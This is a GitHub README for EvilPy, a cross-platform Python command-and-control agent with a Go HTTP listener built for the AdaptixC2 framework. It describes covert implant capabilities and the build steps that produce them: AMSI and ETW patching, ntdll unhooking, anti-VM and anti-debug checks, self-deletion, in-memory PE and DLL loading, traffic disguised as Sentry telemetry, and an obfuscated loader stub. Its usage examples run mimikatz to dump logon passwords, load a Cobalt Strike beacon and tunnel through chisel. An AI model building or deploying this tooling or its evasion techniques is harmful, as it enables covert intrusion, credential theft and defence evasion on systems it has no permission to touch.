Art-Fakt/EvilPy

GitHub: Art-Fakt/EvilPy

一款基于 Python 与 Go 的跨平台 C2 代理,利用构建时混淆与内存加载技术实现隐蔽的命令与控制。

Stars: 0 | Forks: 0

# EvilPy — Python C2 Agent for AdaptixC2 EvilPy is a **cross-platform Python-based C2 agent** for the [Adaptix Framework](https://github.com/Adaptix-Framework). It generates a standalone `.py` payload with extensive build-time configuration for evasion, anti-analysis, and obfuscation — all controllable from the AdaptixC2 GUI.

EvilPy Logo

## 目录 - [Overview](#overview) - [Architecture](#architecture) - [Features](#features) - [In-Memory PE/DLL Loading](#in-memory-pedll-loading) - [In-Memory Python Module Loading](#in-memory-python-module-loading) - [In-Memory Script Execution](#in-memory-script-execution) - [Installation](#installation) - [Usage](#usage) - [Commands](#commands) - [Communication Protocol](#communication-protocol) - [Build-Time Obfuscation](#build-time-obfuscation) - [Project Structure](#project-structure) - [Configuration Reference](#configuration-reference) - [Troubleshooting](#troubleshooting) ## 概述 EvilPy consists of two AdaptixC2 extender plugins: | Component | Type | Description | |-----------|------|-------------| | **evilpy_agent** | Agent plugin (`.so`) | Handles payload generation, task creation, result processing | | **listener_evilpy_http** | Listener plugin (`.so`) | HTTP server that receives agent callbacks | When a payload is built from the AdaptixC2 client, the agent plugin reads the `agent.py` template, injects the selected configuration values (host, port, evasion flags, etc.), optionally applies build-time obfuscation layers, and outputs a ready-to-run Python script. **Agent Name:** `evilpy` **Watermark:** `0xe1b0a666` **Listener Name:** `EvilPyHTTP` **Protocol:** HTTP (external listener) ## 架构 ``` ┌─────────────────────┐ HTTP POST ┌──────────────────────────┐ │ EvilPy Agent │ ──────────────────────► │ EvilPy HTTP Listener │ │ (Python 3.6+) │ ◄────────────────────── │ (Go / gin) │ │ │ JSON response │ │ │ Platforms: │ │ Route: /ep/:id/sync │ │ - Linux │ │ Port: configurable │ │ - Windows │ │ Default: 9090 │ └─────────────────────┘ └────────────┬─────────────┘ │ ▼ ┌─────────────────┐ │ AdaptixC2 │ │ Teamserver │ └─────────────────┘ ``` ## 功能 ### 运行时规避与混淆 | Feature | Description | Default | |---------|-------------|---------| | **Base64 Encoding** | Base64-encode C2 communication data | ✅ On | | **XOR Encryption** | Encrypt traffic with a rotating 16-byte key (`Ev1lPyK3y!@#2026`) | Off | | **Junk HTTP Headers** | Inject 2-5 random `X-*` headers per request (`X-Request-ID`, `X-Correlation-ID`, etc.) | Off | | **Random User-Agent** | Rotate between 6 common browser UAs (Chrome, Firefox, Safari, Edge) | ✅ On | | **Random URI Paths** | Vary callback URL paths (`/ep/`, `/api/v2/`, `/cdn/`, `/v1/metrics/`, `/health/`, `/static/`) | Off | | **Environment Keying** | Lock agent execution to a specific hostname — agent exits if hostname doesn't match | Off | ### 执行方法 | Method | Description | |--------|-------------| | `exec (subprocess)` | Default — runs commands via `subprocess.run()` with shell, captures stdout/stderr | | `ctypes shellcode` | For native shellcode injection via ctypes | | `compile() + exec()` | Dynamic Python code execution via `compile()` — executes the command string as Python code | ### 反分析(运行时) | Check | Description | Platform | |-------|-------------|----------| | **Anti-VM** | Detects VMware, VirtualBox, KVM, QEMU, Xen, Hyper-V, Parallels via DMI product name, `/proc/cpuinfo` hypervisor flag, known VM MAC address prefixes. Triggers on ≥2 indicators. | Linux/Windows | | **Anti-Debug** | `TracerPid` check in `/proc/self/status` + `ptrace(TRACEME)` on Linux; `IsDebuggerPresent()` on Windows | Both | | **Sandbox Evasion** | Timing-based detection — sleeps 2 seconds and checks if elapsed time < 1.5s (indicates time acceleration) | Both | | **Startup Delay** | Configurable delay before agent initialization (0-300 seconds) | Both | ### 高级规避 | Feature | Description | Platform | |---------|-------------|----------| | **AMSI Bypass** | Patches `AmsiScanBuffer` in memory with XOR-encoded patch bytes (`mov eax, 0x80070057; ret`) | Windows only | | **ETW Bypass** | Patches `EtwEventWrite` with single `ret` instruction (`0xC3`) | Windows only | | **Process Masking** | Overwrites `sys.argv[0]`, calls `prctl(PR_SET_NAME)`, writes to `/proc/self/comm` | Linux | | **Self-Delete** | Removes the script file (`os.unlink`) from disk after execution starts | Both | | **Kill Date** | Auto-terminates the agent after a specified date (format: `DD.MM.YYYY`). Checked at startup and every beacon cycle. | Both | | **Working Hours** | Beacons only during configured time window (`HH:MM-HH:MM`). Supports overnight ranges (e.g., `22:00-06:00`). Outside hours, agent sleeps silently. | Both | ## 内存中的 PE/DLL 加载 EvilPy integrates an enhanced, self-contained implementation of [PythonMemoryModule](https://github.com/naksyn/PythonMemoryModule) — a pure-Python porting of the MemoryModule technique. This allows loading DLLs and executing unmanaged PEs **entirely from memory** using only `ctypes`, with no external dependencies. ### 命令 | Command | Syntax | Description | Platform | |---------|--------|-------------|----------| | `memload_dll` | `memload_dll [-e export]` | Load a DLL in memory and optionally call an exported function | Windows | | `memload_pe` | `memload_pe [-c cmdline]` | Execute an unmanaged EXE in memory with optional command-line arguments | Windows | **Usage examples:** ``` # 加载 Cobalt Strike 信标 DLL 并调用其导出 memload_dll beacon.dll -e StartW # 加载 DLL 而不调用任何导出(仅 DllMain) memload_dll payload.dll # 在内存中执行带参数的 mimikatz memload_pe mimikatz.exe -c "privilege::debug sekurlsa::logonpasswords exit" # 在内存中执行 Go 二进制文件 memload_pe chisel.exe -c "client 10.0.0.1:8080 R:socks" ``` ### 工作原理 The `memmodule.py` module is embedded into the agent at build time (compressed + base64-encoded). On first use of a `memload_*` command, the module is decoded and loaded into the Python interpreter. The loader then: 1. Parses PE headers (DOS, NT, sections) from the raw bytes buffer 2. Allocates memory with `VirtualAlloc` at the preferred image base (or elsewhere) 3. Copies sections to their correct virtual addresses 4. Performs base relocations if loaded at a different base 5. Resolves and patches the Import Address Table (IAT) 6. Sets proper section permissions (no RWX pages) 7. Executes TLS callbacks 8. Calls the entry point (DllMain for DLLs, main/WinMain for EXEs) ### 规避增强 The implementation includes several improvements over the original PythonMemoryModule: | Technique | Description | |-----------|-------------| | **Dynamic API Resolution** | All Windows APIs (`VirtualAlloc`, `VirtualProtect`, `GetProcAddress`, etc.) are resolved by manually walking the PE export table of `kernel32.dll`, bypassing IAT-level EDR hooks | | **ntdll Unhooking** | Reads clean `ntdll.dll` from `System32`, finds the `.text` section, and restores it over the in-memory hooked version — removes EDR inline hooks before any PE loading | | **PE Header Wiping** | After successful load, the MZ/PE headers are zeroed in allocated memory, preventing memory scanners from finding the loaded module by PE signature scan | | **ExitProcess → ExitThread** | For EXE execution, `ExitProcess` is temporarily patched to redirect to `ExitThread`, so the loaded EXE terminates its own thread without killing Python agent process. Original bytes are restored after execution. | | **PEB CommandLine Stomping** | For EXE argument passing, the PEB `ProcessParameters→CommandLine` is stomped via `NtQueryInformationProcess` (pure ctypes), then restored after the EXE reads it | | **No External Dependencies** | Replaces the 7400-line `pefile` library and the entire `PythonForWindows` module with a ~650-line self-contained implementation using only `ctypes` and `struct` | | **Correct PE32/PE32+ Handling** | Uses `_pack_ = 1` and architecture-specific optional header definitions, unlike the original which had alignment issues on x64 | | **Lazy Loading** | The memmodule code is only decoded and executed when a `memload_*` command is first used — stays compressed+base64 otherwise, reducing static analysis surface | ### 限制 - **Windows only** — these commands require Windows APIs via `ctypes.windll` - **Architecture must match** — 64-bit Python can only load 64-bit PEs; 32-bit Python can only load 32-bit PEs - **No .NET assemblies** — only unmanaged (native) DLLs and EXEs are supported - **CommandLine passing** — PEB stomping works for most Go binaries and mimikatz, but may not work for all MinGW/MSVC compiled binaries (see [PythonMemoryModule docs](https://github.com/naksyn/PythonMemoryModule#commandline-parameters-passing---partial-support)) - **Detection** — while evasion techniques reduce the footprint, private committed memory not backed by a file on disk remains a telltale sign of MemoryModule-style loading ## 内存中的 Python 模块加载 EvilPy implements a custom PEP 302 import hook (`CFinder`) that allows loading arbitrary Python libraries **entirely from memory**. A module is delivered as a zip archive (e.g., produced by `pip download` or manual packaging), base64-encoded, and transferred to the agent via the `load_module` command. Once loaded, the module is importable like any standard library — with no files ever written to disk. This is modelled on the same mechanism used by Medusa and Empire's in-memory module loading. ### 命令 | Command | Description | |---------|-------------| | `load_module` | Decode a base64 zip, store it in memory, register a `CFinder` in `sys.meta_path` | | `unload_module` | Remove the finder from `sys.meta_path`, purge from `moduleRepo` and `sys.modules` | | `list_modules` | List all currently loaded in-memory modules | ### 工作流 ``` # 1. 将库打包为 zip(单文件模块) zip requests_mod.zip requests.py # 2. 将库打包为 zip(带子模块的包) cd site-packages && zip -r impacket.zip impacket/ # 3. 通过 AdaptixC2 GUI 发送: # load_module impacket impacket.zip # 4. 现在可在后续 run/eval_code 任务中使用: # import impacket # from impacket import smb # 5. 完成后卸载 # unload_module impacket ``` ### 工作原理 1. The operator sends `load_module `: the zip bytes are base64-decoded, opened as a `zipfile.ZipFile` in-memory, and stored in `moduleRepo[name]`. 2. A `CFinder` instance is created for that repo name and appended to `sys.meta_path`. 3. When Python subsequently executes `import ` (or `import .submod`), the `CFinder.find_module()` probe succeeds, and `CFinder.load_module()` compiles and executes the source directly from the in-memory zip — nothing ever touches disk. 4. `unload_module` reverses all of this: removes the `CFinder` from `sys.meta_path`, deletes the `zipfile.ZipFile` from `moduleRepo`, and removes all matching keys from `sys.modules`. ### 打包建议 | Use case | Command | |----------|---------| | Single `.py` file | `zip mymod.zip mymod.py` | | Single package dir | `cd site-packages && zip -r pkg.zip pkg/` | | `pip download` (wheel → zip) | `pip download requests -d /tmp/dl --no-deps` then extract `.whl` (it's a zip) | | Pure-Python packages | Any package with only `.py` files works; C extension (`.so`/`.pyd`) will not load | ## 内存中的脚本执行 `load_script` transfers a `.py` file to the agent and executes it entirely in memory via `exec()` — nothing is written to disk. The script runs in a copy of the agent's global namespace, so it has full access to already-loaded modules (via `load_module`), agent globals, and any standard library available on the target. Output printed to `stdout`/`stderr` inside the script is captured and returned as the task result. ### 用法 ``` load_script myscript.py ``` ### 工作流 ``` # 1. 编写独立的 Python 脚本 cat > recon.py << 'EOF' import socket, platform, os print("hostname:", socket.gethostname()) print("platform:", platform.platform()) print("cwd:", os.getcwd()) EOF # 2. 通过 AdaptixC2 GUI 发送: # load_script recon.py # -> 输出直接返回在任务结果中 # 3. 与 load_module 结合用于高级用途: # load_module impacket impacket.zip # 先加载库 # load_script smb_enum.py # 脚本现在可以:import impacket ``` ### 工作原理 1. The script bytes are base64-decoded on the agent side. 2. `stdout` and `stderr` are temporarily redirected to in-memory buffers. 3. The script is compiled with `compile()` and executed via `exec()` in a copy of `globals()` — so all previously loaded modules and agent state are accessible. 4. Captured output is restored and returned as the task result. 5. Any exception raised inside the script is caught and returned as an error. ### 与 `run` 的比较 | | `run` (subprocess) | `load_script` | |---|---|---| | Execution | Spawns a child process | In-process `exec()` | | Disk write | Depends on method | Never | | Access to agent state | No | Yes (shares globals) | | Output capture | stdout/stderr | stdout/stderr (in-memory) | | Supports loaded modules | No | Yes | ## 安装 ### 自动安装(推荐) ``` cd Custom_Agents/EvilPy ./setup_evilpy.sh --ax /path/to/AdaptixC2 ``` This script performs the following steps: 1. Cleans any previous installation 2. Copies `evilpy_agent/` and `listener_evilpy_http/` into `AdaptixServer/extenders/` 3. Registers them in the Go workspace (`go work use` + `go work sync`) 4. Builds both plugins as shared objects (`.so`) 5. Deploys the distribution files (`.so` + configs + templates) to `dist/extenders/` #### 选项 | Flag | Description | |------|-------------| | `--ax ` | Path to AdaptixC2 root directory **(required)** | | `--action ` | `all` (default), `agent`, or `listener-http` | | `--pull` | Run `git pull` before installation | #### 示例 ``` # 完整安装(代理 + 监听器) ./setup_evilpy.sh --ax /opt/AdaptixC2 # 仅代理插件 ./setup_evilpy.sh --ax /opt/AdaptixC2 --action agent # 仅 HTTP 监听器并拉取最新更改 ./setup_evilpy.sh --ax /opt/AdaptixC2 --action listener-http --pull ``` ### 手动安装 ``` # 1. 构建代理插件 cd evilpy_agent && make && cd .. # 2. 构建监听器插件 cd listener_evilpy_http && make && cd .. # 3. 部署到 dist(复制 dist/ 内容,而非 dist/ 文件夹本身) mkdir -p /path/to/AdaptixC2/dist/extenders/evilpy_agent cp -r evilpy_agent/dist/* /path/to/AdaptixC2/dist/extenders/evilpy_agent/ mkdir -p /path/to/AdaptixC2/dist/extenders/listener_evilpy_http cp -r listener_evilpy_http/dist/* /path/to/AdaptixC2/dist/extenders/listener_evilpy_http/ # 4. 在 Go 工作区注册(如果从源码构建服务器) cd /path/to/AdaptixC2/AdaptixServer go work use extenders/evilpy_agent go work use extenders/listener_evilpy_http go work sync ``` ### 配置文件注册 Add both extenders to your AdaptixC2 profile (`profile.yaml` or `profile.json`): ``` extenders: - "extenders/listener_evilpy_http/config.yaml" - "extenders/evilpy_agent/config.yaml" ``` ## 用法 1. **Start AdaptixC2 server** with the updated profile 2. **Create an EvilPyHTTP listener** from the Adaptix Client GUI: - Set **Bind Host** and **Port** (where the listener will listen) - Set **Callback Address** (the address the agent will connect to, format: `host:port`) 3. **Generate a payload** from the agent build menu: - Select the `evilpy` agent type - Select the EvilPyHTTP listener - Configure sleep, jitter, evasion options via the GUI - Click **Build** — downloads `agent.py` 4. **Execute the agent** on the target machine: python3 agent.py 5. **Interact** with the agent from the Adaptix Client console using the available commands ## 命令 | Command | Syntax | Description | |---------|--------|-------------| | `cat` | `cat ` | Read a file's contents | | `cd` | `cd ` | Change the agent's working directory | | `ls` | `ls [path]` | List directory contents (defaults to cwd). Shows permissions, modification time, size. | | `pwd` | `pwd` | Print current working directory | | `run` | `run [args]` | Execute a system command via the configured execution method | | `download` | `download ` | Download a file from target (base64-encoded transfer) | | `upload` | `upload ` | Upload file to target | | `env` `env` | List all environment variables (sorted) | | `whoami` | `whoami` | Get user info: username, UID, GID, hostname, platform, PID | | `ps` | `ps` | List running processes. Linux: reads `/proc/`. Windows: uses `tasklist`. | | `sleep` | `sleep [jitter]` | Change callback interval (seconds) and optional jitter percentage (0-100) | | `exit` | `exit` | Sends final callback and terminates the agent | | `memload_dll` | `memload_dll [-e export]` | Load a DLL in memory and optionally call an exported function (Windows) | | `memload_pe` | `memload_pe [-c cmdline]` | Execute an unmanaged PE in memory with optional arguments (Windows) | | `load_module` | `load_module ` | Load a Python library from a zip archive into the agent's memory — makes it importable with `import ` | | `unload_module` | `unload_module ` | Remove a previously loaded in-memory module and purge it from `sys.modules` | | `list_modules` | `list_modules` | List all Python modules currently loaded in memory | | `load_script` | `load_script ` | Transfer a Python script and execute it entirely in memory via `exec()` — output is returned as the task result | ## 通信协议 ### 流量伪装 All communications are disguised as **Sentry SDK telemetry** (error monitoring). From a network perspective, requests look like legitimate Sentry envelope submissions. ### 请求格式(代理 → 监听器) ``` POST /ep//sync HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; ...) Chrome/120.0.0.0 ... [Optional junk X-* headers] ``` POST body (3-line Sentry envelope): | Line | Content | |------|---------| | **1** | `{"event_id":"","sent_at":"...","sdk":{...}}` — Heartbeat: watermark (4B) + agent ID (4B) + optional initial data, all hex-encoded | | **2** | `{"type":"transaction"}` — Sentry item header | | **3** | `{"contexts":{...},"spans":[{"description":"",...}],...}` — Task results in `spans[0].description`, hex-encoded | ### 响应格式(监听器 → 代理) ``` {"id": ""} ``` Tasks are hex-encoded JSON arrays: ``` [{"task_id": "abc12345", "task_data": ""}] ``` ### 编码管道 Data flows through encoding layers based on build-time configuration: ``` Sending (agent): raw JSON → [zlib compress] → [XOR encrypt] → [base64 encode] → hex → Sentry envelope Receiving (server): hex decode → [base64 decode] → [XOR decrypt] → [zlib decompress] → raw JSON ``` Brackets `[]` indicate optional layers enabled by configuration flags. The encoding config is sent to the server during initial registration so it knows which layers to reverse. ### 初始注册 On the first callback, the agent appends identity data to the heartbeat: ``` { "platform": "Linux", "hostname": "target-host", "username": "user", "internal_ip": "192.168.1.100", "pid": 12345, "uid": 1000, "enc": { "xor": false, "b64": true, "compress": false, "xor_key": "" } } ``` The `enc` block is stored server-side as the agent's session key, allowing the `Decrypt()` method to reverse the correct encoding layers on all subsequent data. ## 构建时混淆 When **String Concatenation**, **Zlib Compression**, or **Marshal Encoding** are enabled in the build GUI, the output agent is transformed into a compact loader: ### 第 1 层:XOR + 压缩 + Base64 The entire `agent.py` is: 1. Zlib-compressed (if compress or marshal enabled) 2. XOR-encrypted with a random 32-byte key 3. Base64-encoded Result: a simple bootstrap script: ``` #!/usr/bin/env python3 import base64 as _b, zlib as _z _key = _b.b64decode(b'') _dat = _b.b64decode(b'') _pay = bytes([_dat[i]^_key[i%len(_key)] for i in range(len(_dat))]) exec(_z.decompress(_pay)) ``` ### 第 2 层:Marshal(可选二次包装) If **Marshal Encoding** is enabled, the Layer 1 bootstrap is itself wrapped with another round of compress + XOR + base64, using a different 24-byte random key. This creates a double-wrapped loader that is harder to analyze statically. All variable names are randomly generated 9-character strings (e.g., `_abcdefgh`). ## 项目结构 ``` EvilPy/ ├── setup_evilpy.sh # Automated installation script ├── README.md # This file │ ├── evilpy_agent/ # Agent extender plugin │ ├── config.yaml # Plugin registration │ │ agent_name: evilpy │ │ watermark: e1b0a666 │ │ listeners: [EvilPyHTTP] │ ├── ax_config.axs # UI definition │ │ RegisterCommands() — 12 commands │ │ GenerateUI() — build options GUI │ ├── go.mod # Go module │ ├── pl_main.go # Plugin entry point │ │ InitPlugin, Encrypt, Decrypt, │ │ PackTasks, ProcessData, etc. │ ├── pl_agent.go # Core logic │ │ AgentGenerateBuild() — template injection │ │ obfuscateScript() — build-time obfuscation │ │ CreateAgentData() — agent registration │ │ CreateTask() — task creation │ │ ProcessTasksResult() — result parsing │ ├── Makefile # go build -buildmode=plugin │ └── src_evilpy/ │ ├── agent.py # Python agent template │ │ {{CALLBACK_HOST}}, {{SLEEP}}, etc. │ └── memmodule.py # Enhanced PE memory loader │ Self-contained, no dependencies │ Embedded at build time (zlib+b64) │ └── listener_evilpy_http/ # HTTP Listener extender plugin ├── config.yaml # Plugin registration │ listener_name: EvilPyHTTP │ type: external, protocol: http ├── ax_config.axs # Listener UI (host, port, callback) ├── go.mod # Go module ├── pl_main.go # Plugin entry point ├── pl_listener.go # HTTP server (gin framework) │ Route: POST /ep/:id/sync │ parseBeatAndData() — Sentry envelope parser │ processRequest() — agent registration + tasking └── Makefile # go build -buildmode=plugin ``` ## 配置参考 ### Agent config.yaml ``` extender_type: "agent" extender_file: "agent_evilpy.so" ax_file: "ax_config.axs" agent_name: "evilpy" agent_watermark: "e1b0a666" listeners: - "EvilPyHTTP" multi_listeners: false ``` ### Listener config.yaml ``` extender_type: "listener" extender_file: "evilpy_http.so" ax_file: "ax_config.axs" listener_name: "EvilPyHTTP" listener_type: "external" protocol: "http" ``` ## 需求 | Component | Requirement | |-----------|-------------| | **Target** | Python 3.6+ (Linux or Windows) | | **Build** | Go 1.23+, AdaptixC2 Framework | | **Listener** | No external dependencies (embedded in AdaptixC2 server via gin) |
标签:Adaptix Framework, Agent插件, APT, C2代理, DLL注入, HTTP协议, PE注入, Python, Python后门, Raspberry Pi, SO插件, 代码混淆, 代码生成, 内存加载, 内存执行, 反分析, 反取证, 后门, 命令与控制, 外置监听, 外部监听, 安全评估, 恶意软件, 无后门, 日志审计, 构建时混淆, 横向移动, 流量审计, 混淆, 渗透测试工具, 监听插件, 编程规范, 跨平台后门, 逆向工具, 隐蔽通信